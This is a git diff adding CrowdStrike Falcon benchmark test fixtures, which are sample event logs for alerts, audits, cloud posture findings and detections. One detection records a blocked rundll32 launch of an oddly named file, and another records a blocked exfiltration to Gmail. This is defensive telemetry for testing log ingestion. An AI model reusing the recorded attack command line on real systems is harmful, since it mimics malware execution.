+        "type": "cel"
+    },
+    "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
+    "process": {
+        "end": "2023-11-03T18:00:21.000Z",
+        "entity_id": "399748687993",
+        "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+        "hash": {
+            "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+            "sha1": "0000000000000000000000000000000000000000",
+            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
+        },
+        "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+        "parent": {
+            "command_line": "C:\\WINDOWS\\Explorer.EXE",
+            "entity_id": "392736520876",
+            "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
+            "hash": {
+                "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
+                "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4"
+            },
+            "name": "explorer.exe",
+            "pid": 392736520876
+        },
+        "pid": 399748687993,
+        "start": "2023-11-03T18:00:13.000Z",
+        "user": {
+            "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+            "name": "mohit.jha"
+        }
+    },
+    "related": {
+        "hash": [
+            "b07f77fd3f9828b2c9d61f8a36609741",
+            "cdf9cfebb400ce89d5b6032bfcdc693b",
+            "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+            "8cc3fcdd7d52d2d5221303c213e044ae",
+            "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+            "0000000000000000000000000000000000000000"
+        ],
+        "hosts": [
+            "ABC.LOCAL",
+            "ABC709-1175"
+        ],
+        "ip": [
+            "81.2.69.142"
+        ],
+        "user": [
+            "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+            "S-1-5-21-1909377054-3469629671-4104191496-4425",
+            "yuvraj.mahajan",
+            "mohit.jha"
+        ]
+    },
+    "tags": [
+        "preserve_original_event",
+        "preserve_duplicate_custom_fields",
+        "forwarded",
+        "crowdstrike-alert"
+    ],
+    "threat": {
+        "framework": "CrowdStrike Falcon Detections Framework",
+        "tactic": {
+            "id": [
+                "CSTA0004"
+            ],
+            "name": [
+                "MachineLearning"
+            ]
+        },
+        "technique": {
+            "id": [
+                "CST0000"
+            ],
+            "name": [
+                "Adware/PUP"
+            ]
+        }
+    },
+    "user": {
+        "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+        "name": "mohit.jha"
+    }
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/config.yml
new file mode 100644
index 0000000000..30a2b50cf6
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/config.yml
@@ -0,0 +1 @@
+num_docs: 10000
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-event-stream.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-event-stream.log
new file mode 100644
index 0000000000..da66f7f084
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-event-stream.log
@@ -0,0 +1,9 @@
+{"metadata":{"customerIDString":"abcabcabc22222","offset":8693900,"eventType":"FirewallMatchEvent","eventCreationTime":1698921571000,"version":"1.0"},"event":{"DeviceId":"6734ff444f4456","CustomerId":"abcabcabc22222","Ipv":"ipv4","CommandLine":"System","ConnectionDirection":"1","EventType":"FirewallRuleIP4Matched","Flags":{"Audit":false,"Log":true,"Monitor":true},"HostName":"INPUNEDITCLP229","ICMPCode":"","ICMPType":"","ImageFileName":"System","LocalAddress":"81.2.69.142","LocalPort":"445","MatchCount":1,"MatchCountSinceLastReport":1,"NetworkProfile":"2","PID":"11111111","PolicyName":"PROD-FW-Workstations-Office-20201001","PolicyID":"3ec266b28bef471f9fd990e4f39ac829","Protocol":"6","RemoteAddress":"81.2.69.142","RemotePort":"53452","RuleAction":"2","RuleDescription":"","RuleFamilyID":"11111111aaaaaaaa","RuleGroupName":"SMBRules","RuleName":"InboundSMBBlock\u0026LogPrivate","RuleId":"4877172638743447345","Status":"","Timestamp":"2023-11-02T10:39:29Z","TreeID":"","Platform":"windows"}}
+{"metadata":{"customerIDString":"abcabcabc22222","offset":8693906,"eventType":"IdpDetectionSummaryEvent","eventCreationTime":1698921607000,"version":"1.0"},"event":{"ContextTimeStamp":133433951380000000,"DetectId":"abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222","DetectName":"Unusual login to an endpoint","DetectDescription":"A user logged into a machine for the first time","FalconHostLink":"https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222?_cid=abcabcabc22222","StartTime":133433949600000000,"EndTime":133433949600000000,"Severity":34,"SeverityName":"Low","Tactic":"InitialAccess","Technique":"ValidAccounts","Objective":"Gain Access","SourceAccountDomain":"NA.AAA.ABC.com","SourceAccountName":"abc.service","SourceAccountUpn":"admin.service@example.com","SourceAccountObjectSid":"S-1-S-1-S-1-1111-1844237615-1801674531-175881","SourceEndpointAccountObjectGuid":"C078A5DA-E13B-4418-AA28-802EF8C16210","SourceEndpointAccountObjectSid":"S-1-S-1-S-1-1111-1844237615-1801674531-316681","SourceEndpointHostName":"nope122.na.net.ABC.com","SourceEndpointIpAddress":"81.2.69.142","SourceEndpointSensorId":"a2f1de586958434eb5e14e30214e17ed","ActivityId":"76CC8396-7148-4CEB-84CB-08FAFE4FAC37","PatternId":51135,"SourceVendors":"CrowdStrike","SourceProducts":"FalconIdentityProtection","DataDomains":"Identity"}}
+{"metadata":{"customerIDString":"abcabcabc22222","offset":8694126,"eventType":"IdentityProtectionEvent","eventCreationTime":1698923523065,"version":"1.0"},"event":{"IncidentType":"Unusuallogintoanendpoint","IncidentDescription":"Unusuallogintoanendpoint","Severity":4,"SeverityName":"LOW","StartTime":1698923340000,"EndTime":1698923340000,"IdentityProtectionIncidentId":"7a79b2de-4e10-41fb-818f-2bdf53c1625a","UserName":"NA.NET.ABC.com\\abc.service","EndpointName":"itreg1d3wp8vh3.eu.net.ABC.com","EndpointIp":"","Category":"Detections","NumbersOfAlerts":1,"NumberOfCompromisedEntities":2,"State":"NEW","FalconHostLink":"https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:7A79B2DE-4E10-41FB-818F-2BDF53C1625A"}}
+{"metadata":{"customerIDString":"abcabcabc22222","offset":8694676,"eventType":"AuthActivityAuditEvent","eventCreationTime":1698927699286,"version":"1.0"},"event":{"UserId":"admin.rose@example.com","UserIp":"81.2.69.144","OperationName":"saml2Assert","ServiceName":"CrowdstrikeAuthentication","Success":true,"UTCTimestamp":1698927699,"AuditKeyValues":[{"Key":"target_user","ValueString":"admin.rose@example.com"},{"Key":"trace_id","ValueString":"19169200-76c5-4861-92f1-355d0a908f40"},{"Key":"saml_envelope","ValueString":"SampleValue"},{"Key":"saml_assertion","ValueString":"sampleassertion"},{"Key":"app_id","ValueString":"fa8e047e-2e60-4837-b987-c57020947cd6"},{"Key":"actor_user","ValueString":"admin.rose@example.com"},{"Key":"actor_user_uuid","ValueString":"8940ddf0-bc3c-480b-a05a-bb94ff5dc0fb"},{"Key":"actor_cid","ValueString":"abcabcabc22222"}],"Attributes":{"actor_cid":"abcabcabc22222","actor_user":"admin.rose@example.com","actor_user_uuid":"00000000-aaaa-480b-a05a-bb94ff5dc0fb","app_id":"aaaaaaaa-2e60-4837-b987-c57020947cd6","saml_assertion":"saml_assertion_sample","target_user":"admin.rose@example.com","trace_id":"000000-76c5-4861-92f1-355d0a908f40"}}}
+{"metadata":{"customerIDString":"abcabcabc22222","offset":8694733,"eventType":"UserActivityAuditEvent","eventCreationTime":1698928127000,"version":"1.0"},"event":{"UserId":"admin.rose@example.com","UserIp":"81.2.69.144","OperationName":"reveal_token","ServiceName":"sensor_update_policy","AuditKeyValues":[{"Key":"device_id","ValueString":"abcancancbanjjagjaj"},{"Key":"seedID","ValueString":"101"},{"Key":"message","ValueString":"Removeduplicatesensor."}],"UTCTimestamp":1698928127,"Attributes":{"device_id":"afjafanfafasfjaf","message":"Removeduplicatesensor.","seedID":"101"}}}
+{"metadata":{"customerIDString":"abcabcabc22222","offset":8694992,"eventType":"ScheduledReportNotificationEvent","eventCreationTime":1698930172000,"version":"1.0"},"event":{"UserUUID":"9999999-bc3c-99bb-a05a-bb94ff5dc0fb","UserID":"admin.rose@example.com","ExecutionID":"efghtigh","ReportID":"999999ddddddddd","ReportName":"LarouxSearch","ReportType":"event_search","ReportFileReference":"/reports/entities/report-executions-download/v1?ids=eeeeeeeeeerrrrr444444","Status":1,"StatusMessage":"message","ExecutionMetadata":{"ExecutionStart":1698930019000,"ExecutionDuration":152176,"ReportFileName":"Laroux_Search_2023_November_2_13017_34176.csv","ResultCount":0,"ResultID":"fffffzdlIiwiY3VzdG9tZXJfYXBwIjoiZWFtIiwic2lnbmF0dXJlX3BvcnRpb24iOiIzYWRhOTZiNDA4MTkxNTFhZmIxYjFkOTM2MWZhMmE1NjBmNGNkMzc0ODQxNTY4MDlkYzhmNDRkMmRkZDY1NzdlIn0=","SearchWindowStart":1698843600000,"SearchWindowEnd":1698930000000}}}
+{"metadata":{"customerIDString":"abcabcabc22222","offset":8695284,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1698932494000,"version":"1.0"},"event":{"SessionId":"1111-fffff-4bb4-99c1-74c13cfc3e5a","HostnameField":"UKCHUDL00206","UserName":"admin.rose@example.com","StartTimestamp":1698932494,"AgentIdString":"fffffffff33333"}}
+{"metadata":{"customerIDString":"abcabcabc22222","offset":8695332,"eventType":"DetectionSummaryEvent","eventCreationTime":1698932615000,"version":"1.0"},"event":{"ProcessStartTime":1698932614,"ProcessEndTime":1698932614,"ProcessId":54665651,"ParentProcessId":540396081,"ComputerName":"INNOIDL0032","UserName":"vishnu.sharma","DetectName":"AttackerMethodology","DetectDescription":"Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.","Severity":4,"SeverityName":"High","FileName":"rundll32.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32","CommandLine":"\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh","SHA256String":"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e","MD5String":"a52bfa4a96f97c368312028dbd7c8461","SHA1String":"0000000000000000000000000000000000000000","MachineDomain":"AP","FalconHostLink":"https://falcon.crowdstrike.com/activity/detections/detail/6902738b2a374a718cd9a45085baaf50/2246270721205?_cid=gffffffffy3zjobdz7ewb4xjqyjsy5a","SensorId":"69027ffffffffffffaaf50","IOCType":"hash_sha256","IOCValue":"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e","DetectId":"ldt:690ddddddd0721205","LocalIP":"81.2.69.144","MACAddress":"02-50-41-00-00-01","Tactic":"DefenseEvasion","Technique":"Rundll32","Objective":"KeepAccess","PatternDispositionDescription":"Prevention,processwasblockedfromexecution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","ParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandparentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","GrandparentCommandLine":"C:\\Windows\\system32\\userinit.exe","HostGroups":"e2091491a28248eaae3ede9f217e03fc,e837d750b8ba400c953380da346e2b04,186c20383a98495cb0e0a7d5540f3aff,24d1f760fcdc46d992bb8f41d7dd897b,2b7bd0fede874baaa1afdea20f255632,a293aded9c4548469d0e853b7267cce5,adab9db4541040729e01d16211189a27,b75b27ce17244922bd0a862a712ea812","Tags":"SensorGroupingTags/USB_Storage_Exception","AssociatedFile":"\\Device\\HarddiskVolume4\\Windows\\System32\\rundll32.exe","PatternId":10186}}
+{"metadata":{"customerIDString":"abcabcabc22222","offset":8698239,"eventType":"IncidentSummaryEvent","eventCreationTime":1698971797000,"version":"1.0"},"event":{"IncidentStartTime":1698971797,"IncidentEndTime":1698971797,"FalconHostLink":"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e?_cid=ggggffffhhhhjjjjj","State":"open","FineScore":6.1,"LateralMovement":0,"IncidentType":1,"IncidentID":"inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e","HostID":"4345454534534545"}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-audit-events.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-audit-events.log
new file mode 100644
index 0000000000..608b0a16d2
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-audit-events.log
@@ -0,0 +1,13 @@
+{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":1045,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1582830734000,"version":"1.0"},"event":{"SessionId":"6020260b-0398-4d41-999d-5531b55522de","HostnameField":"hostnameofmachine","UserName":"first.last@company.com","StartTimestamp":1582830734}}
+{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":1046,"eventType":"RemoteResponseSessionEndEvent","eventCreationTime":1582830772000,"version":"1.0"},"event":{"SessionId":"6020260b-0398-4d41-999d-5531b55522de","HostnameField":"hostnameofmachine","UserName":"first.last@company.com","EndTimestamp":1582830772}}
+{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":0,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581542950710,"version":"1.0"},"event":{"UserId":"api-client-id:1234567890abcdefghijklmnopqrstuvwxyz","UserIp":"10.10.0.8","OperationName":"streamStarted","ServiceName":"Crowdstrike Streaming API","Success":true,"UTCTimestamp":1581542950,"AuditKeyValues":[{"Key":"APIClientID","ValueString":"1234567890abcdefghijklmnopqr"},{"Key":"partition","ValueString":"0"},{"Key":"offset","ValueString":"-1"},{"Key":"appId","ValueString":"siem-connector-v2.0.0"},{"Key":"eventType","ValueString":"[UserActivityAuditEvent HashSpreadingEvent RemoteResponseSessionStartEvent RemoteResponseSessionEndEvent DetectionSummaryEvent AuthActivityAuditEvent]"}]}}
+{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":1,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581543577147,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"twoFactorAuthenticate","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581543577147}}
+{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":2,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581545677554,"version":"1.0"},"event":{"UserId":"bob@company.com","UserIp":"192.168.6.3","OperationName":"twoFactorAuthenticate","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581545677554}}
+{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":3,"eventType":"UserActivityAuditEvent","eventCreationTime":1581546248000,"version":"1.0"},"event":{"UserId":"chris@company.com","UserIp":"192.168.6.13","OperationName":"update_group","ServiceName":"groups","AuditKeyValues":[{"Key":"group_id","ValueString":"3c80ce30b9654cb4bd15beec6a517e65"},{"Key":"action_name","ValueString":"add_group_member"}],"UTCTimestamp":1581546248}}
+{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":4,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581601312140,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"requestResetPassword","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581601312140,"AuditKeyValues":[{"Key":"target_name","ValueString":"alice@company.com"}]}}
+{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":5,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581601341730,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"twoFactorAuthenticate","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581601341730}}
+{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":6,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581601520236,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"changePassword","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581601520236,"AuditKeyValues":[{"Key":"target_name","ValueString":"first.last@company.com"}]}}
+{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":7,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581601572362,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"userAuthenticate","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581601572362}}
+{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":8,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581601814754,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"twoFactorAuthenticate","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581601814754}}
+{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":9,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581601820289,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"selfAcceptEula","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581601820289}}
+{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":10,"eventType":"UserActivityAuditEvent","eventCreationTime":1581603262000,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"detection_update","ServiceName":"detections","AuditKeyValues":[{"Key":"detection_id","ValueString":"ldt:5a6fd0b7347440cd74cb84855a8aee18:17180539745"},{"Key":"new_state","ValueString":"in_progress"},{"Key":"assigned_to","ValueString":"First Last"},{"Key":"assigned_to_uid","ValueString":"first.last@company.com"}],"UTCTimestamp":1581603262}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-auth-activity.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-auth-activity.log
new file mode 100644
index 0000000000..c9e64ad5be
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-auth-activity.log
@@ -0,0 +1,2 @@
+{"metadata":{"customerIDString":"123123abcd","offset":6,"eventType":"AuthActivityAuditEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"UserId":"API:USERID","UserIp":"175.16.199.1","OperationName":"streamStopped","ServiceName":"Crowdstrike Streaming API","Success":true,"UTCTimestamp":1686839378,"AuditKeyValues":[{"Key":"eventType","ValueString":"All event type(s)"},{"Key":"APIClientID","ValueString":"APIID"},{"Key":"partition","ValueString":"0"},{"Key":"offset","ValueString":"2"},{"Key":"appId","ValueString":"APPIDTEST"}],"Attributes":{"APIClientID":"APPCLIENTIDTEST","appId":"APPIDTEST","eventType":"All event type(s)","offset":"2","partition":"0"}}}
+{"metadata":{"customerIDString":"123123abcd","offset":8,"eventType":"AuthActivityAuditEvent","eventCreationTime":1686849556137,"version":"1.0"},"event":{"UserId":"API:USERID","UserIp":"175.16.199.1","OperationName":"streamStarted","ServiceName":"Crowdstrike Streaming API","Success":true,"UTCTimestamp":1686849556,"AuditKeyValues":[{"Key":"APIClientID","ValueString":"APICLIENTID"},{"Key":"partition","ValueString":"0"},{"Key":"offset","ValueString":"8"},{"Key":"appId","ValueString":"APPIDTEST"},{"Key":"eventType","ValueString":"All event type(s)"}],"Attributes":{"APIClientID":"APICLIENTID","appId":"APPIDTEST","eventType":"All event type(s)","offset":"8","partition":"0"}}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmioa-streaming.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmioa-streaming.log
new file mode 100644
index 0000000000..71efbee9aa
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmioa-streaming.log
@@ -0,0 +1 @@
+{"metadata":{"customerIDString":"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX","offset":54712858,"eventType":"CSPMIOAStreamingEvent","eventCreationTime":1663011160000,"version":"1.0"},"event":{"AccountId":"XXXXXXXXXXXX","PolicyId":249,"PolicyStatement":"EC2 instance manually deleted by IAM user","CloudProvider":"aws","CloudService":"EC2","Severity":1,"SeverityName":"High","EventAction":"TerminateInstances","EventSource":"aws.cloudtrail","EventCreatedTimestamp":1663011160,"UserId":"AIDAXRCSSEFWEAH3BLR2Z","UserName":"cs_internal_service_acct","UserSourceIp":"81.2.69.144","Tactic":"Impact","Technique":"Data Destruction"}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmsearch-streaming.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmsearch-streaming.log
new file mode 100644
index 0000000000..723fc4c067
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmsearch-streaming.log
@@ -0,0 +1 @@
+{"metadata":{"customerIDString":"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX","offset":54712611,"eventType":"CSPMSearchStreamingEvent","eventCreationTime":1663009688832,"version":"1.0"},"event":{"AccountId":"XXXXXXXXXXXX","Region":"us-west-2","ResourceId":"i-0108fce80eXXXXXXX","ResourceIdType":"Instance Id","ResourceName":"","ResourceCreateTime":0,"PolicyStatement":"EC2 NACL configured for global ingress","PolicyId":26,"Severity":1,"SeverityName":"High","CloudPlatform":"AWS","CloudService":"EC2","Disposition":"Failed","ResourceUrl":"https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX","Finding":"Instance ID:i-0108fce80e5ab5129|VPC ID:vpc-0e886040c27d9f526|Network ACL ID:acl-005e6bb98e75ac17e|Rule Number:100|CIDR Block:0.0.0.0/0|Protocol:All","ResourceAttributes":"{\"ACL ID\":\"acl - 005e6 bb98e75ac17e\",\"VPC ID\":\"vpc - 0e886040 c27d9f526\",\"Platform\":\"Linux\",\"Instance ID\":\"i - 0108 fce80eXXXXXXX\",\"Launch Time\":\"2022 - 09 - 12 17:11:06 + 00\",\"Instance State\":\"running\"}","Tags":[{"Key":"cstag-business","ValueString":"Sales"}, {"Key":"cstag-accounting","ValueString":"dev"}, {"Key":"cstag-department","ValueString":"Sales - 310000"}, {"Key":"Slackbot Env UUID","ValueString":"C68EC25E-32BD-11ED-AE4B-0EBCA3237C75"}, {"Key":"Name","ValueString":"CS-SE-Demo-KALI-ROBERT.WILSON"}, {"Key":"Slack_User","ValueString":"bob.smith"}, {"Key":"cstag-owner","ValueString":"jane.doe"}],"ReportUrl":"https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26\u0026policy_id=26\u0026scan_id=1a8adc1c36aa7d83e90e5c06\u0026service=EC2","Timestamp":1663009688832}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-data-protection-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-data-protection-detection-summary.log
new file mode 100644
index 0000000000..7471623ccb
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-data-protection-detection-summary.log
@@ -0,0 +1,2 @@
+{"metadata":{"customerIDString":"2cc98db1a4xxxxxxxxxxc94d43bfab70","offset":689071490,"eventType":"DataProtectionDetectionSummaryEvent","eventCreationTime":1761895380000,"version":"1.0"},"event":{"AgentId":"5d77282ab4fxxxxxxxxxx65784cfa8f0","CompositeId":"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e","Name":"Test attempted to be uploaded to Google Gmail","Description":"Bob attempted to upload sensitive_123.txt to Google Gmail","Tactic":"Exfiltration","TacticId":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueId":"T1567","Severity":90,"SeverityName":"Critical","FalconHostLink":"https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq","Destination":{"Channel":"web"},"UserName":"Bob","UserSid":"S-1-5-21-2123450692-2512345670-1234574870-1234","Hostname":"DESKTOP-OM905R2","PatternId":80005,"DataVolume":39,"DetectionType":"rule-based","Platform":"Windows","MitreAttack":[{"Tactic":"Exfiltration","TacticID":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueID":"T1567"}],"EgressSessionId":"abc","SessionStartTimestamp":1761915027,"SessionEndTimestamp":1761915027,"UserMapped":true,"FilesEgressedCount":12}}
+{"metadata":{"customerIDString":"2cc98db1a4xxxxxxxxxxc94d43bfab70","offset":689071490,"eventType":"DataProtectionDetectionSummaryEvent","eventCreationTime":1761895380000,"version":"1.0"},"event":{"AgentId":"5d77282ab4fxxxxxxxxxx65784cfa8f0","CompositeId":"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e","Name":"Test attempted to be uploaded to Google Gmail","Description":"Bob attempted to upload sensitive_123.txt to Google Gmail","Tactic":"Exfiltration","TacticId":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueId":"T1567","Severity":90,"SeverityName":"Critical","FalconHostLink":"https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq","Destination":{"Channel":"web"},"UserName":"Bob","UserSid":"S-1-5-21-2123450692-2512345670-1234574870-1234","Hostname":"DESKTOP-OM905R2","PatternId":80005,"DataVolume":39,"DetectionType":"rule-based","Platform":"Windows","MitreAttack":[{"Tactic":"Exfiltration","TacticID":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueID":"T1567"}],"EgressEventId":"180d01b9b65811f0a9f0c0892b3c995e","Policy":{"ID":"a6e6792845654b69a8a89e793421b77a","Name":"Data Protection Policy"},"MatchedClassification":{"ID":"8318b19065af48fa839f9259022e5e0a","Name":"Test"},"RelatedClassifications":[{"ID":"8318b19065af48fa839f9259022e5e0a","Name":"Test"}],"UserNotified":true,"ResponseAction":"blocked","RuleId":"7d81198e7da846b2a664afccc7f5d9e4","IsClipboard":false,"ContentPatterns":[{"ID":"4392b1416c974a488c31fbc4c97e89f6","Name":"Credentials","ConfidenceLevel":3,"MatchCount":1}],"ContentSha":"21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08","Filename":"sensitive_123.txt","FileType":{"Type":{"ID":"48a7eca83afa42a78cf12b8f2f877eec","Name":"Plain Text","Description":"Plain Text (txt) File","CategoryID":"4689d0386bdd4e2e9423a0fc19dcaccb","CategoryName":"Document"}},"EventTimestamp":1761915027}}
